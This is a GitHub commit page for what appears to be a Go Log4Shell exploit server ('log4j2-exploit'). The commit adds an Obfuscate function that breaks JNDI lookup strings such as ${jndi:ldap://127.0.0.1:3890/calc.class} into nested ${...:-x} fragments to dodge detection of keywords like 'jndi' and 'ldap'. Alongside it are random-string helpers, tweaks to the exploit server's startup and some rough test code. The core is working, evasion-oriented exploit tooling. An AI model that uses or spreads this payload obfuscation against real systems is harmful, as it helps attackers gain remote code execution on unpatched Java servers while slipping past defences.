Skip to content

Commit dbc2129

Browse files
committed
add obfuscate, wait to change server side for fix repect execute in lod4j2 package.
1 parent 178c719 commit dbc2129

File tree

7 files changed

+215
-21
lines changed

7 files changed

+215
-21
lines changed

autocert.go

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package log4j2
2+
3+
import (
4+
"fmt"
5+
6+
"golang.org/x/crypto/acme/autocert"
7+
)
8+
9+
func testAutoCert() {
10+
11+
listener := autocert.NewListener("")
12+
13+
mgr := autocert.Manager{}
14+
mgr.TLSConfig()
15+
16+
conn, err := listener.Accept()
17+
fmt.Println(err)
18+
19+
buf := make([]byte, 4096)
20+
n, err := conn.Read(buf)
21+
fmt.Println("asdasdads", err)
22+
fmt.Println(string(buf[:n]))
23+
24+
fmt.Println(conn.RemoteAddr())
25+
26+
// m:= autocert.Manager{}
27+
}

autocert_test.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
package log4j2

log4j2.go

Lines changed: 2 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@ import (
55
"fmt"
66
"io"
77
"log"
8-
"math/rand"
98
"net"
109
"net/http"
1110
"sync"
@@ -63,7 +62,7 @@ func New(cfg *Config) (*Log4j2, error) {
6362
}
6463

6564
// for generate random http handler
66-
secret := generateSecret()
65+
secret := randString(8)
6766

6867
// initialize http server
6968
httpListener, err := net.Listen(cfg.HTTPNetwork, cfg.HTTPAddress)
@@ -163,7 +162,7 @@ func (log4j2 *Log4j2) Start() error {
163162
select {
164163
case err := <-errCh:
165164
return err
166-
case <-time.After(time.Second):
165+
case <-time.After(250 * time.Millisecond):
167166
}
168167
log4j2.logger.Println("[info]", "start http server", log4j2.httpListener.Addr())
169168
log4j2.logger.Println("[info]", "start ldap server", log4j2.ldapListener.Addr())
@@ -191,21 +190,3 @@ func (log4j2 *Log4j2) Stop() error {
191190
log4j2.logger.Println("[info]", "log4j2-exploit server is stopped")
192191
return nil
193192
}
194-
195-
func generateSecret() string {
196-
r := rand.New(rand.NewSource(time.Now().UnixNano()))
197-
str := make([]rune, 8)
198-
for i := 0; i < 8; i++ {
199-
s := ' ' + 1 + r.Intn(90)
200-
switch {
201-
case s >= '0' && s <= '9':
202-
case s >= 'A' && s <= 'Z':
203-
case s >= 'a' && s <= 'z':
204-
default:
205-
i--
206-
continue
207-
}
208-
str[i] = rune(s)
209-
}
210-
return string(str)
211-
}

obfuscate.go

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
package log4j2
2+
3+
import (
4+
"math/rand"
5+
"strings"
6+
)
7+
8+
// TODO output generated string
9+
10+
// raw: ${jndi:ldap://127.0.0.1:3890/calc.class}
11+
//
12+
// obfuscate rule:
13+
// 1. ${xxx-xxx:any-code:-bc} => bc
14+
15+
// Obfuscate is used to obfuscate malicious(payload) string like
16+
// ${jndi:ldap://127.0.0.1:3890/calc.class} for log4j2 package.
17+
func Obfuscate(raw string) string {
18+
l := len(raw)
19+
if l < 3 {
20+
return ""
21+
}
22+
obfuscated := strings.Builder{}
23+
obfuscated.WriteString("${")
24+
25+
remaining := len(raw) - len("${}")
26+
idx := 2
27+
// prevent not obfuscate twice, otherwise maybe
28+
// generate string like 1."jn" 2."di" -> "jndi"
29+
lastObfuscated := true
30+
31+
for {
32+
// first select section length
33+
34+
// use 0-3 is used to prevent include special
35+
// string like "jndi", "ldap" and "http"
36+
sl := rand.Intn(4)
37+
if sl > remaining {
38+
sl = remaining
39+
}
40+
section := raw[idx : idx+sl]
41+
42+
if !randBool() && lastObfuscated {
43+
// not obfuscate
44+
obfuscated.WriteString(section)
45+
46+
remaining -= sl
47+
if remaining <= 0 {
48+
break
49+
}
50+
idx += sl
51+
lastObfuscated = false
52+
continue
53+
}
54+
55+
// generate useless data before section
56+
obfuscated.WriteString("${")
57+
n := 1 + rand.Intn(3) // 1-3
58+
for i := 0; i < n; i++ {
59+
front := randString(2 + rand.Intn(5))
60+
end := randString(2 + rand.Intn(5))
61+
62+
obfuscated.WriteString(front)
63+
if randBool() {
64+
obfuscated.WriteString(":")
65+
} else {
66+
obfuscated.WriteString("-")
67+
}
68+
obfuscated.WriteString(end)
69+
}
70+
obfuscated.WriteString(":-")
71+
obfuscated.WriteString(section)
72+
obfuscated.WriteString("}")
73+
74+
remaining -= sl
75+
if remaining <= 0 {
76+
break
77+
}
78+
idx += sl
79+
lastObfuscated = true
80+
}
81+
82+
obfuscated.WriteString("}")
83+
return obfuscated.String()
84+
}

obfuscate_test.go

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
package log4j2
2+
3+
import (
4+
"crypto/tls"
5+
"fmt"
6+
"net/http"
7+
"testing"
8+
9+
"github.com/stretchr/testify/require"
10+
"golang.org/x/crypto/acme/autocert"
11+
)
12+
13+
func TestObfuscate(t *testing.T) {
14+
obfuscated := Obfuscate("${jndi:ldap://127.0.0.1:3890/calc.class}")
15+
fmt.Println(obfuscated)
16+
}
17+
18+
func TestNewListener(t *testing.T) {
19+
const testDomain = "test"
20+
21+
mux := http.NewServeMux()
22+
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
23+
fmt.Fprintf(w, "Hello, TLS user! Your config: %+v", r.TLS)
24+
})
25+
server := http.Server{}
26+
server.Handler = mux
27+
go func() {
28+
29+
http.DefaultClient.Transport = &http.Transport{}
30+
31+
listener := autocert.NewListener(testDomain)
32+
conn, err := listener.Accept()
33+
require.NoError(t, err)
34+
35+
buf := make([]byte, 4096)
36+
n, err := conn.Read(buf)
37+
fmt.Println("asdasdads", err)
38+
fmt.Println(string(buf[:n]))
39+
40+
fmt.Println(conn.RemoteAddr())
41+
42+
// log.Fatal(server.Serve(autocert.NewListener("example.com")))
43+
}()
44+
45+
cfg := tls.Config{
46+
ServerName: testDomain,
47+
}
48+
49+
client := http.Client{
50+
Transport: &http.Transport{
51+
TLSClientConfig: &cfg,
52+
},
53+
}
54+
55+
req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:443/", nil)
56+
require.NoError(t, err)
57+
req.Host = testDomain
58+
59+
resp, err := client.Do(req)
60+
require.NoError(t, err)
61+
62+
fmt.Println(resp.StatusCode)
63+
64+
// conn, err := tls.Dial("tcp", "127.0.0.1:443", &cfg)
65+
// require.NoError(t, err)
66+
//
67+
// _, err = conn.Write([]byte{1, 2, 3, 4})
68+
// require.NoError(t, err)
69+
}

rand.go

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
package log4j2
2+
3+
import (
4+
"math/rand"
5+
"time"
6+
)
7+
8+
func init() {
9+
rand.Seed(time.Now().UnixNano())
10+
}
11+
12+
func randBool() bool {
13+
return rand.Int63()%2 == 0
14+
}
15+
16+
func randString(n int) string {
17+
str := make([]rune, n)
18+
for i := 0; i < n; i++ {
19+
s := ' ' + 1 + rand.Intn(90)
20+
switch {
21+
case s >= '0' && s <= '9':
22+
case s >= 'A' && s <= 'Z':
23+
case s >= 'a' && s <= 'z':
24+
default:
25+
i--
26+
continue
27+
}
28+
str[i] = rune(s)
29+
}
30+
return string(str)
31+
}

rand_test.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
package log4j2

0 commit comments

Comments
 (0)